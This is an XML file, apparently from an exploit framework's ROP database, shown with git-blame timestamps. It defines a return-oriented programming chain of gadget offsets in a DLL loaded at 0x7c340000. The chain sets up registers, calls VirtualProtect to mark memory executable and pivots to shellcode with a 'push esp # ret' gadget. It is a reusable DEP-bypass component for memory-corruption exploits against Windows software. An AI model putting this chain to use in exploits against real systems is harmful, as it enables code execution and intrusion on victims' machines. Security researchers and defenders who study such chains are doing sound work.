2012-10-02 16:27:10 +00:00
|
|
|
<?xml version="1.0" encoding="ISO-8859-1"?>
|
|
|
|
|
<db>
|
|
|
|
|
<rop>
|
|
|
|
|
<compatibility>
|
|
|
|
|
<target>*</target>
|
|
|
|
|
</compatibility>
|
|
|
|
|
|
|
|
|
|
<gadgets base="0x7c340000">
|
2013-03-19 04:42:17 +00:00
|
|
|
<gadget offset="0x00024c66">POP EBP # RETN</gadget>
|
|
|
|
|
<gadget offset="0x00024c66">skip 4 bytes</gadget>
|
|
|
|
|
<gadget offset="0x00004edc">POP EAX # RETN</gadget>
|
2013-10-04 04:13:57 +00:00
|
|
|
<gadget value="safe_negate_size">0x00000201</gadget>
|
2013-03-19 04:42:17 +00:00
|
|
|
<gadget offset="0x00011e05">NEG EAX # RETN</gadget>
|
|
|
|
|
<gadget offset="0x000136e3">POP EBX # RETN</gadget>
|
|
|
|
|
<gadget value="0xffffffff"></gadget>
|
|
|
|
|
<gadget offset="0x00005255">INC EBX # FPATAN # RETN</gadget>
|
|
|
|
|
<gadget offset="0x0001218e">ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN</gadget>
|
|
|
|
|
<gadget offset="0x00005937">POP EDX # RETN</gadget>
|
|
|
|
|
<gadget value="0xffffffc0">0x00000040</gadget>
|
|
|
|
|
<gadget offset="0x00011eb1">NEG EDX # RETN</gadget>
|
|
|
|
|
<gadget offset="0x0002c5b9">POP ECX # RETN</gadget>
|
|
|
|
|
<gadget offset="0x00051e67">Writable location</gadget>
|
|
|
|
|
<gadget offset="0x00002e58">POP EDI # RETN</gadget>
|
|
|
|
|
<gadget offset="0x0000d202">RETN (ROP NOP)</gadget>
|
|
|
|
|
<gadget offset="0x0000f8f4">POP ESI # RETN</gadget>
|
2012-10-02 16:27:10 +00:00
|
|
|
<gadget offset="0x000015a2">JMP [EAX]</gadget>
|
2013-03-19 04:42:17 +00:00
|
|
|
<gadget offset="0x00004edc">POP EAX # RETN</gadget>
|
2013-03-19 14:25:06 +00:00
|
|
|
<gadget offset="0x0003a151">ptr to VirtualProtect()</gadget>
|
2013-03-19 18:20:39 +00:00
|
|
|
<gadget offset="0x00038c81">PUSHAD # ADD AL,0EF # RETN</gadget>
|
2013-03-19 04:42:17 +00:00
|
|
|
<gadget offset="0x00005c30">ptr to 'push esp # ret</gadget>
|
2012-10-02 16:27:10 +00:00
|
|
|
</gadgets>
|
|
|
|
|
</rop>
|
|
|
|
|
</db>
|
